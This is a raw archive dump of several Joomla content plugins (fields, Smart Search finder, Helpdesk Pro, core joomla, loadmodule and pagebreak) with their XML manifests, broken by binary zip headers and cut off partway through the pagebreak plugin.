		// If the item has a context, overwrite the existing one
		if ($context == 'com_finder.indexer' &&
!empty($item->context))
		{
			$context = $item->context;
		}
		elseif ($context == 'com_finder.indexer')
		{
			// Don't run this plugin when the content is being indexed and we
have no real context
			return;
		}

		// Don't run if there is no text property (in case of bad calls) or
it is empty
		if (empty($item->text))
		{
			return;
		}

		// Simple performance check to determine whether bot should process
further
		if (strpos($item->text, 'field') === false)
		{
			return;
		}

		// Register FieldsHelper
		JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR .
'/components/com_fields/helpers/fields.php');

		// Prepare the text
		if (isset($item->text))
		{
			$item->text = $this->prepare($item->text, $context, $item);
		}

		// Prepare the intro text
		if (isset($item->introtext))
		{
			$item->introtext = $this->prepare($item->introtext, $context,
$item);
		}
	}

	/**
	 * Prepares the given string by parsing {field} and {fieldgroup} groups
and replacing them.
	 *
	 * @param   string  $string   The text to prepare
	 * @param   string  $context  The context of the content
	 * @param   object  $item     The item object
	 *
	 * @return string
	 *
	 * @since  3.8.1
	 */
	private function prepare($string, $context, $item)
	{
		// Search for {field ID} or {fieldgroup ID} tags and put the results into
$matches.
		$regex = '/{(field|fieldgroup)\s+(.*?)}/i';
		preg_match_all($regex, $string, $matches, PREG_SET_ORDER);

		if (!$matches)
		{
			return $string;
		}

		$parts = FieldsHelper::extract($context);

		if (count($parts) < 2)
		{
			return $string;
		}

		$context    = $parts[0] . '.' . $parts[1];
		$fields     = FieldsHelper::getFields($context, $item, true);
		$fieldsById = array();
		$groups     = array();

		// Rearranging fields in arrays for easier lookup later.
		foreach ($fields as $field)
		{
			$fieldsById[$field->id]     = $field;
			$groups[$field->group_id][] = $field;
		}

		foreach ($matches as $i => $match)
		{
			// $match[0] is the full pattern match, $match[1] is the type (field or
fieldgroup) and $match[2] the ID and optional the layout
			$explode = explode(',', $match[2]);
			$id      = (int) $explode[0];
			$output  = '';

			if ($match[1] == 'field' && $id)
			{
				if (isset($fieldsById[$id]))
				{
					$layout = !empty($explode[1]) ? trim($explode[1]) :
$fieldsById[$id]->params->get('layout',
'render');
					$output = FieldsHelper::render(
						$context,
						'field.' . $layout,
						array(
							'item'    => $item,
							'context' => $context,
							'field'   => $fieldsById[$id]
						)
					);
				}
			}
			else
			{
				if ($match[2] === '*')
				{
					$match[0]     = str_replace('*', '\*', $match[0]);
					$renderFields = $fields;
				}
				else
				{
					$renderFields = isset($groups[$id]) ? $groups[$id] : '';
				}

				if ($renderFields)
				{
					$layout = !empty($explode[1]) ? trim($explode[1]) :
'render';
					$output = FieldsHelper::render(
						$context,
						'fields.' . $layout,
						array(
							'item'    => $item,
							'context' => $context,
							'fields'  => $renderFields
						)
					);
				}
			}

			$string = preg_replace("|$match[0]|", addcslashes($output,
'\\$'), $string, 1);
		}

		return $string;
	}
}
PK	�[4�T���content/fields/fields.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.7.0" type="plugin"
group="content" method="upgrade">
	<name>plg_content_fields</name>
	<author>Joomla! Project</author>
	<creationDate>February 2017</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_CONTENT_FIELDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="fields">fields.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_content_fields.ini</language>
		<language
tag="en-GB">en-GB.plg_content_fields.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
			</fieldset>
		</fields>
	</config>
</extension>
PK	�[�R����content/finder/finder.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Smart Search Content Plugin
 *
 * @since  2.5
 */
class PlgContentFinder extends JPlugin
{
	/**
	 * Smart Search after save content method.
	 * Content is passed by reference, but after the save, so no changes will
be saved.
	 * Method is called right after the content is saved.
	 *
	 * @param   string  $context  The context of the content passed to the
plugin (added in 1.6)
	 * @param   object  $article  A JTableContent object
	 * @param   bool    $isNew    If the content has just been created
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onContentAfterSave($context, $article, $isNew)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderAfterSave event.
		$dispatcher->trigger('onFinderAfterSave', array($context,
$article, $isNew));
	}

	/**
	 * Smart Search before save content method.
	 * Content is passed by reference. Method is called before the content is
saved.
	 *
	 * @param   string  $context  The context of the content passed to the
plugin (added in 1.6).
	 * @param   object  $article  A JTableContent object.
	 * @param   bool    $isNew    If the content is just about to be created.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onContentBeforeSave($context, $article, $isNew)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderBeforeSave event.
		$dispatcher->trigger('onFinderBeforeSave', array($context,
$article, $isNew));
	}

	/**
	 * Smart Search after delete content method.
	 * Content is passed by reference, but after the deletion.
	 *
	 * @param   string  $context  The context of the content passed to the
plugin (added in 1.6).
	 * @param   object  $article  A JTableContent object.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onContentAfterDelete($context, $article)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderAfterDelete event.
		$dispatcher->trigger('onFinderAfterDelete', array($context,
$article));
	}

	/**
	 * Smart Search content state change method.
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the content passed to the
plugin.
	 * @param   array    $pks      A list of primary key ids of the content
that has changed state.
	 * @param   integer  $value    The value of the state that the content has
been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onContentChangeState($context, $pks, $value)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderChangeState event.
		$dispatcher->trigger('onFinderChangeState', array($context,
$pks, $value));
	}

	/**
	 * Smart Search change category state content method.
	 * Method is called when the state of the category to which the
	 * content item belongs is changed.
	 *
	 * @param   string   $extension  The extension whose category has been
updated.
	 * @param   array    $pks        A list of primary key ids of the content
that has changed state.
	 * @param   integer  $value      The value of the state that the content
has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onCategoryChangeState($extension, $pks, $value)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderCategoryChangeState event.
		$dispatcher->trigger('onFinderCategoryChangeState',
array($extension, $pks, $value));
	}
}
PK	�[�Ébggcontent/finder/finder.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin"
group="content" method="upgrade">
	<name>plg_content_finder</name>
	<author>Joomla! Project</author>
	<creationDate>December 2011</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_FINDER_XML_DESCRIPTION</description>

	<files>
		<filename plugin="finder">finder.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_content_finder.ini</language>
		<language
tag="en-GB">en-GB.plg_content_finder.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
		</fields>
	</config>
</extension>
PK	�[9/"��#content/helpdeskpro/helpdeskpro.phpnu�[���<?php
/**
 * @version        4.3.0
 * @package        Joomla
 * @subpackage     Helpdesk Pro
 * @author         Tuan Pham Ngoc
 * @copyright      Copyright (C) 2013 - 2021 Ossolution Team
 * @license        GNU/GPL, see LICENSE.php
 */

defined('_JEXEC') or die;

use Joomla\CMS\Plugin\CMSPlugin;

class plgContentHelpdeskpro extends CMSPlugin
{
	public function onContentPrepare($context, &$article, &$params,
$limitstart)
	{
		$app = JFactory::getApplication();

		if ($app->getName() != 'site')
		{
			return;
		}

		if (strpos($article->text, 'helpdeskpro') === false)
		{
			return true;
		}

		$regex = "#{helpdeskpro}#s";

		$article->text = preg_replace_callback($regex, array(&$this,
'displaySubmitTicketForm'), $article->text);

		return true;
	}

	/**
	 * Replace callback function
	 *
	 * @param array $matches
	 *
	 * @return string
	 */
	private function displaySubmitTicketForm($matches)
	{
		// Bootstrap the component libraries
		require_once JPATH_ADMINISTRATOR .
'/components/com_helpdeskpro/init.php';

		// Get component config data
		$config = require JPATH_ADMINISTRATOR .
'/components/com_helpdeskpro/config.php';

		// Creating component container
		$container =
OSL\Container\Container::getInstance('com_helpdeskpro',
$config);

		// Generate new input for the container to pass it to controller
		$Itemid = \OSSolution\HelpdeskPro\Site\Helper\Helper::getItemid();
		$input  = new OSL\Input\Input(array('view' =>
'ticket', 'layout' => 'form',
'Itemid' => $Itemid));

		// Load component language
		\OSSolution\HelpdeskPro\Site\Helper\Helper::loadLanguage();

		// Create the Controller and Execute the request
		$controller = OSL\Controller\Controller::getInstance($container);

		$oldInput = $controller->setInput($input);

		ob_start();
		
		$controller->execute();

		$controller->setInput($oldInput);
		
		return '<div class="clearfix"></div>' .
ob_get_clean();
	}
}PK	�[��6���#content/helpdeskpro/helpdeskpro.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="1.6" type="plugin"
group="content" method="upgrade">
    <name>Content - Helpdesk Pro</name>
    <author>Ossolution Team</author>
    <creationDate>Feb 2011</creationDate>
    <copyright>Copyright (C) 2012 - 2021 Ossolution
Team</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html
GNU/GPL</license>
    <authorEmail>tuanpn@joomdonation.com</authorEmail>
    <version>4.3.0</version>
    <description>This plugin is used to display a form which allow
users to submit support ticket in a Joomla article
    </description>
    <files>
        <filename
plugin="helpdeskpro">helpdeskpro.php</filename>
    </files>
    <config>
    </config>
</extension>
PK	�[���##content/joomla/joomla.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.joomla
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Example Content Plugin
 *
 * @since  1.6
 */
class PlgContentJoomla extends JPlugin
{
	/**
	 * Example after save content method
	 * Article is passed by reference, but after the save, so no changes will
be saved.
	 * Method is called right after the content is saved
	 *
	 * @param   string   $context  The context of the content passed to the
plugin (added in 1.6)
	 * @param   object   $article  A JTableContent object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  boolean   true if function not enabled, is in frontend or is
new. Else true or
	 *                    false depending on success of save function.
	 *
	 * @since   1.6
	 */
	public function onContentAfterSave($context, $article, $isNew)
	{
		// Check we are handling the frontend edit form.
		if ($context !== 'com_content.form')
		{
			return true;
		}

		// Check if this function is enabled.
		if (!$this->params->def('email_new_fe', 1))
		{
			return true;
		}

		// Check this is a new article.
		if (!$isNew)
		{
			return true;
		}

		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__users'))
			->where($db->quoteName('sendEmail') . ' = 1')
			->where($db->quoteName('block') . ' = 0');
		$db->setQuery($query);
		$users = (array) $db->loadColumn();

		if (empty($users))
		{
			return true;
		}

		$user = JFactory::getUser();

		// Messaging for new items
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_messages/models', 'MessagesModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_messages/tables');

		$default_language =
JComponentHelper::getParams('com_languages')->get('administrator');
		$debug = JFactory::getConfig()->get('debug_lang');
		$result = true;

		foreach ($users as $user_id)
		{
			if ($user_id != $user->id)
			{
				// Load language for messaging
				$receiver = JUser::getInstance($user_id);
				$lang =
JLanguage::getInstance($receiver->getParam('admin_language',
$default_language), $debug);
				$lang->load('com_content');
				$message = array(
					'user_id_to' => $user_id,
					'subject' =>
$lang->_('COM_CONTENT_NEW_ARTICLE'),
					'message' =>
sprintf($lang->_('COM_CONTENT_ON_NEW_CONTENT'),
$user->get('name'), $article->title)
				);
				$model_message = JModelLegacy::getInstance('Message',
'MessagesModel');
				$result = $model_message->save($message);
			}
		}

		return $result;
	}

	/**
	 * Don't allow categories to be deleted if they contain items or
subcategories with items
	 *
	 * @param   string  $context  The context for the content passed to the
plugin.
	 * @param   object  $data     The data relating to the content that was
deleted.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function onContentBeforeDelete($context, $data)
	{
		// Skip plugin if we are deleting something other than categories
		if ($context !== 'com_categories.category')
		{
			return true;
		}

		// Check if this function is enabled.
		if (!$this->params->def('check_categories', 1))
		{
			return true;
		}

		$extension =
JFactory::getApplication()->input->getString('extension');

		// Default to true if not a core extension
		$result = true;

		$tableInfo = array(
			'com_banners' => array('table_name' =>
'#__banners'),
			'com_contact' => array('table_name' =>
'#__contact_details'),
			'com_content' => array('table_name' =>
'#__content'),
			'com_newsfeeds' => array('table_name' =>
'#__newsfeeds'),
			'com_weblinks' => array('table_name' =>
'#__weblinks')
		);

		// Now check to see if this is a known core extension
		if (isset($tableInfo[$extension]))
		{
			// Get table name for known core extensions
			$table = $tableInfo[$extension]['table_name'];

			// See if this category has any content items
			$count = $this->_countItemsInCategory($table,
$data->get('id'));

			// Return false if db error
			if ($count === false)
			{
				$result = false;
			}
			else
			{
				// Show error if items are found in the category
				if ($count > 0)
				{
					$msg = JText::sprintf('COM_CATEGORIES_DELETE_NOT_ALLOWED',
$data->get('title'))
						. JText::plural('COM_CATEGORIES_N_ITEMS_ASSIGNED', $count);
					JError::raiseWarning(403, $msg);
					$result = false;
				}

				// Check for items in any child categories (if it is a leaf, there are
no child categories)
				if (!$data->isLeaf())
				{
					$count = $this->_countItemsInChildren($table,
$data->get('id'), $data);

					if ($count === false)
					{
						$result = false;
					}
					elseif ($count > 0)
					{
						$msg = JText::sprintf('COM_CATEGORIES_DELETE_NOT_ALLOWED',
$data->get('title'))
							. JText::plural('COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS',
$count);
						JError::raiseWarning(403, $msg);
						$result = false;
					}
				}
			}

			return $result;
		}
	}

	/**
	 * Get count of items in a category
	 *
	 * @param   string   $table  table name of component table (column is
catid)
	 * @param   integer  $catid  id of the category to check
	 *
	 * @return  mixed  count of items found or false if db error
	 *
	 * @since   1.6
	 */
	private function _countItemsInCategory($table, $catid)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);

		// Count the items in this category
		$query->select('COUNT(id)')
			->from($table)
			->where('catid = ' . $catid);
		$db->setQuery($query);

		try
		{
			$count = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());

			return false;
		}

		return $count;
	}

	/**
	 * Get count of items in a category's child categories
	 *
	 * @param   string   $table  table name of component table (column is
catid)
	 * @param   integer  $catid  id of the category to check
	 * @param   object   $data   The data relating to the content that was
deleted.
	 *
	 * @return  mixed  count of items found or false if db error
	 *
	 * @since   1.6
	 */
	private function _countItemsInChildren($table, $catid, $data)
	{
		$db = JFactory::getDbo();

		// Create subquery for list of child categories
		$childCategoryTree = $data->getTree();

		// First element in tree is the current category, so we can skip that one
		unset($childCategoryTree[0]);
		$childCategoryIds = array();

		foreach ($childCategoryTree as $node)
		{
			$childCategoryIds[] = $node->id;
		}

		// Make sure we only do the query if we have some categories to look in
		if (count($childCategoryIds))
		{
			// Count the items in this category
			$query = $db->getQuery(true)
				->select('COUNT(id)')
				->from($table)
				->where('catid IN (' . implode(',',
$childCategoryIds) . ')');
			$db->setQuery($query);

			try
			{
				$count = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				JError::raiseWarning(500, $e->getMessage());

				return false;
			}

			return $count;
		}
		else
			// If we didn't have any categories to check, return 0
		{
			return 0;
		}
	}

	/**
	 * Change the state in core_content if the state in a table is changed
	 *
	 * @param   string   $context  The context for the content passed to the
plugin.
	 * @param   array    $pks      A list of primary key ids of the content
that has changed state.
	 * @param   integer  $value    The value of the state that the content has
been changed to.
	 *
	 * @return  boolean
	 *
	 * @since   3.1
	 */
	public function onContentChangeState($context, $pks, $value)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('core_content_id'))
			->from($db->quoteName('#__ucm_content'))
			->where($db->quoteName('core_type_alias') . ' =
' . $db->quote($context))
			->where($db->quoteName('core_content_item_id') . '
IN (' . $pksImploded = implode(',', $pks) . ')');
		$db->setQuery($query);
		$ccIds = $db->loadColumn();

		$cctable = new JTableCorecontent($db);
		$cctable->publish($ccIds, $value);

		return true;
	}

	/**
	* The save event.
	*
	* @param   string   $context  The context
	* @param   object   $table    The item
	* @param   boolean  $isNew    Is new item
	*
	* @return  void
	*
	* @since   3.9.12
	*/
	public function onContentBeforeSave($context, $table, $isNew)
	{
		// Check we are handling the frontend edit form.
		if ($context !== 'com_menus.item')
		{
			return true;
		}

		// Special case for Create article menu item
		if ($table->link !==
'index.php?option=com_content&view=form&layout=edit')
		{
			return true;
		}

		// Display error if catid is not set when enable_category is enabled
		$params = json_decode($table->params, true);

		if ($params['enable_category'] == 1 &&
empty($params['catid']))
		{
			$table->setError(JText::_('COM_CONTENT_CREATE_ARTICLE_ERROR'));

			return false;
		}
	}
}
PK	�[�/3*OOcontent/joomla/joomla.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin"
group="content" method="upgrade">
	<name>plg_content_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>November 2010</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_content_joomla.ini</language>
		<language
tag="en-GB">en-GB.plg_content_joomla.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="check_categories"
					type="radio"
					label="PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_LABEL"
					description="PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field 
					name="email_new_fe"
					type="radio"
					label="PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_LABEL"
					description="PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>

</extension>
PK	�[�݁���!content/loadmodule/loadmodule.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.loadmodule
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugin to enable loading modules into content (e.g. articles)
 * This uses the {loadmodule} syntax
 *
 * @since  1.5
 */
class PlgContentLoadmodule extends JPlugin
{
	protected static $modules = array();

	protected static $mods = array();

	/**
	 * Plugin that loads module positions within content
	 *
	 * @param   string   $context   The context of the content being passed to
the plugin.
	 * @param   object   &$article  The article object.  Note
$article->text is also available
	 * @param   mixed    &$params   The article params
	 * @param   integer  $page      The 'page' number
	 *
	 * @return  mixed   true if there is an error. Void otherwise.
	 *
	 * @since   1.6
	 */
	public function onContentPrepare($context, &$article, &$params,
$page = 0)
	{
		// Don't run this plugin when the content is being indexed
		if ($context === 'com_finder.indexer')
		{
			return true;
		}

		// Simple performance check to determine whether bot should process
further
		if (strpos($article->text, 'loadposition') === false
&& strpos($article->text, 'loadmodule') === false)
		{
			return true;
		}

		// Expression to search for (positions)
		$regex = '/{loadposition\s(.*?)}/i';
		$style = $this->params->def('style', 'none');

		// Expression to search for(modules)
		$regexmod = '/{loadmodule\s(.*?)}/i';
		$stylemod = $this->params->def('style',
'none');

		// Expression to search for(id)
		$regexmodid = '/{loadmoduleid\s([1-9][0-9]*)}/i';

		// Find all instances of plugin and put in $matches for loadposition
		// $matches[0] is full pattern match, $matches[1] is the position
		preg_match_all($regex, $article->text, $matches, PREG_SET_ORDER);

		// No matches, skip this
		if ($matches)
		{
			foreach ($matches as $match)
			{
				$matcheslist = explode(',', $match[1]);

				// We may not have a module style so fall back to the plugin default.
				if (!array_key_exists(1, $matcheslist))
				{
					$matcheslist[1] = $style;
				}

				$position = trim($matcheslist[0]);
				$style    = trim($matcheslist[1]);

				$output = $this->_load($position, $style);

				// We should replace only first occurrence in order to allow positions
with the same name to regenerate their content:
				if (($start = strpos($article->text, $match[0])) !== false)
				{
					$article->text = substr_replace($article->text, $output, $start,
strlen($match[0]));
				}

				$style = $this->params->def('style', 'none');
			}
		}

		// Find all instances of plugin and put in $matchesmod for loadmodule
		preg_match_all($regexmod, $article->text, $matchesmod,
PREG_SET_ORDER);

		// If no matches, skip this
		if ($matchesmod)
		{
			foreach ($matchesmod as $matchmod)
			{
				$matchesmodlist = explode(',', $matchmod[1]);

				// We may not have a specific module so set to null
				if (!array_key_exists(1, $matchesmodlist))
				{
					$matchesmodlist[1] = null;
				}

				// We may not have a module style so fall back to the plugin default.
				if (!array_key_exists(2, $matchesmodlist))
				{
					$matchesmodlist[2] = $stylemod;
				}

				$module = trim($matchesmodlist[0]);
				$name   = htmlspecialchars_decode(trim($matchesmodlist[1]));
				$stylemod  = trim($matchesmodlist[2]);

				// $match[0] is full pattern match, $match[1] is the module,$match[2]
is the title
				$output = $this->_loadmod($module, $name, $stylemod);

				// We should replace only first occurrence in order to allow positions
with the same name to regenerate their content:
				if (($start = strpos($article->text, $matchmod[0])) !== false)
				{
					$article->text = substr_replace($article->text, $output, $start,
strlen($matchmod[0]));
				}

				$stylemod = $this->params->def('style',
'none');
			}
		}

		// Find all instances of plugin and put in $matchesmodid for loadmoduleid
		preg_match_all($regexmodid, $article->text, $matchesmodid,
PREG_SET_ORDER);

		// If no matches, skip this
		if ($matchesmodid)
		{
			foreach ($matchesmodid as $match)
			{
				$id     = trim($match[1]);
				$output = $this->_loadid($id);

				// We should replace only first occurrence in order to allow positions
with the same name to regenerate their content:
				if (($start = strpos($article->text, $match[0])) !== false)
				{
					$article->text = substr_replace($article->text, $output, $start,
strlen($match[0]));
				}

				$style = $this->params->def('style', 'none');
			}
		}
	}

	/**
	 * Loads and renders the module
	 *
	 * @param   string  $position  The position assigned to the module
	 * @param   string  $style     The style assigned to the module
	 *
	 * @return  mixed
	 *
	 * @since   1.6
	 */
	protected function _load($position, $style = 'none')
	{
		self::$modules[$position] = '';
		$document = JFactory::getDocument();
		$renderer = $document->loadRenderer('module');
		$modules  = JModuleHelper::getModules($position);
		$params   = array('style' => $style);
		ob_start();

		foreach ($modules as $module)
		{
			echo $renderer->render($module, $params);
		}

		self::$modules[$position] = ob_get_clean();

		return self::$modules[$position];
	}

	/**
	 * This is always going to get the first instance of the module type
unless
	 * there is a title.
	 *
	 * @param   string  $module  The module title
	 * @param   string  $title   The title of the module
	 * @param   string  $style   The style of the module
	 *
	 * @return  mixed
	 *
	 * @since   1.6
	 */
	protected function _loadmod($module, $title, $style = 'none')
	{
		self::$mods[$module] = '';
		$document = JFactory::getDocument();
		$renderer = $document->loadRenderer('module');
		$mod      = JModuleHelper::getModule($module, $title);

		// If the module without the mod_ isn't found, try it with mod_.
		// This allows people to enter it either way in the content
		if (!isset($mod))
		{
			$name = 'mod_' . $module;
			$mod  = JModuleHelper::getModule($name, $title);
		}

		$params = array('style' => $style);
		ob_start();

		if ($mod->id)
		{
			echo $renderer->render($mod, $params);
		}

		self::$mods[$module] = ob_get_clean();

		return self::$mods[$module];
	}

	/**
	 * Loads and renders the module
	 *
	 * @param   string  $id  The id of the module
	 *
	 * @return  mixed
	 *
	 * @since   3.9.0
	 */
	protected function _loadid($id)
	{
		self::$modules[$id] = '';
		$document = JFactory::getDocument();
		$renderer = $document->loadRenderer('module');
		$modules  = JModuleHelper::getModuleById($id);
		$params   = array('style' => 'none');
		ob_start();

		if ($modules->id > 0)
		{
			echo $renderer->render($modules, $params);
		}

		self::$modules[$id] = ob_get_clean();

		return self::$modules[$id];
	}
}
PK	�[�
����!content/loadmodule/loadmodule.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin"
group="content" method="upgrade">
	<name>plg_content_loadmodule</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_LOADMODULE_XML_DESCRIPTION</description>
	<files>
		<filename
plugin="loadmodule">loadmodule.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_content_loadmodule.ini</language>
		<language
tag="en-GB">en-GB.plg_content_loadmodule.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="style"
					type="list"
					label="PLG_LOADMODULE_FIELD_STYLE_LABEL"
					description="PLG_LOADMODULE_FIELD_STYLE_DESC"
					default="table"
					>
					<option
value="table">PLG_LOADMODULE_FIELD_VALUE_TABLE</option>
					<option
value="horz">PLG_LOADMODULE_FIELD_VALUE_HORIZONTAL</option>
					<option
value="xhtml">PLG_LOADMODULE_FIELD_VALUE_DIVS</option>
					<option
value="rounded">PLG_LOADMODULE_FIELD_VALUE_MULTIPLEDIVS</option>
					<option
value="none">PLG_LOADMODULE_FIELD_VALUE_RAW</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK	�[g��T&&content/pagebreak/pagebreak.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagebreak
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

jimport('joomla.utilities.utility');

JLoader::register('ContentHelperRoute', JPATH_SITE .
'/components/com_content/helpers/route.php');

/**
 * Page break plugin
 *
 * <b>Usage:</b>
 * <code><hr class="system-pagebreak" /></code>
 * <code><hr class="system-pagebreak" title="The
page title" /></code>
 * or
 * <code><hr class="system-pagebreak" alt="The
first page" /></code>
 * or
 * <code><hr class="system-pagebreak" title="The
page title" alt="The first page" /></code>
 * or
 * <code><hr class="system-pagebreak" alt="The
first page" title="The page title" /></code>
 *
 * @since  1.6
 */
class PlgContentPagebreak extends JPlugin
{
	/**
	 * The navigation list with all page objects if parameter
'multipage_toc' is active.
	 *
	 * @var    array
	 * @since  3.9.2
	 */
	protected $list = array();

	/**
	 * Plugin that adds a pagebreak into the text and truncates text at that
point
	 *
	 * @param   string   $context  The context of the content being passed to
the plugin.
	 * @param   object   &$row     The article object.  Note
$article->text is also available
	 * @param   mixed    &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  mixed  Always returns void or true
	 *
	 * @since   1.6
	 */
	public function onContentPrepare($context, &$row, &$params, $page
= 0)
	{
		$canProceed = $context === 'com_content.article';

		if (!$canProceed)
		{
			return;
		}

		$style = $this->params->get('style', 'pages');

		// Expression to search for.
		$regex =
'#<hr(.*)class="system-pagebreak"(.*)\/>#iU';

		$input = JFactory::getApplication()->input;

		$print = $input->getBool('print');
		$showall = $input->getBool('showall');

		if (!$this->params->get('enabled', 1))
		{
			$print = true;
		}

		if ($print)
		{
			$row->text = preg_replace($regex, '<br />',
$row->text);

			return true;
		}

		// Simple performance check to determine whether bot should process
further.
		if (StringHelper::strpos($row->text,
'class="system-pagebreak') === false)
		{
			if ($page > 0)
			{
				throw new Exception(JText::_('JERROR_PAGE_NOT_FOUND'), 404);
			}

			return true;
		}

		$view = $input->getString('view');
		$full = $input->getBool('fullview');

		if (!$page)
		{
			$page = 0;
		}

		if ($full || $view !== 'article' ||
$params->get('intro_only') ||
$params->get('popup'))
		{
			$row->text = preg_replace($regex, '', $row->text);

			return;
		}

		// Load plugin language files only when needed (ex: not needed if no
system-pagebreak class exists).
		$this->loadLanguage();

		// Find all instances of plugin and put in $matches.
		$matches = array();
		preg_match_all($regex, $row->text, $matches, PREG_SET_ORDER);

		if ($showall && $this->params->get('showall', 1))
		{
			$hasToc = $this->params->get('multipage_toc', 1);

			if ($hasToc)
			{
				// Display TOC.
				$page = 1;
				$this->_createToc($row, $matches, $page);
			}
			else
			{
				$row->toc = '';
			}

			$row->text = preg_replace($regex, '<br />',
$row->text);

			return true;
		}

		// Split the text around the plugin.
		$text = preg_split($regex, $row->text);

		if (!isset($text[$page]))
		{
			throw new Exception(JText::_('JERROR_PAGE_NOT_FOUND'), 404);
		}

		// Count the number of pages.
		$n = count($text);

		// We have found at least one plugin, therefore at least 2 pages.
		if ($n > 1)
		{
			$title  = $this->params->get('title', 1);
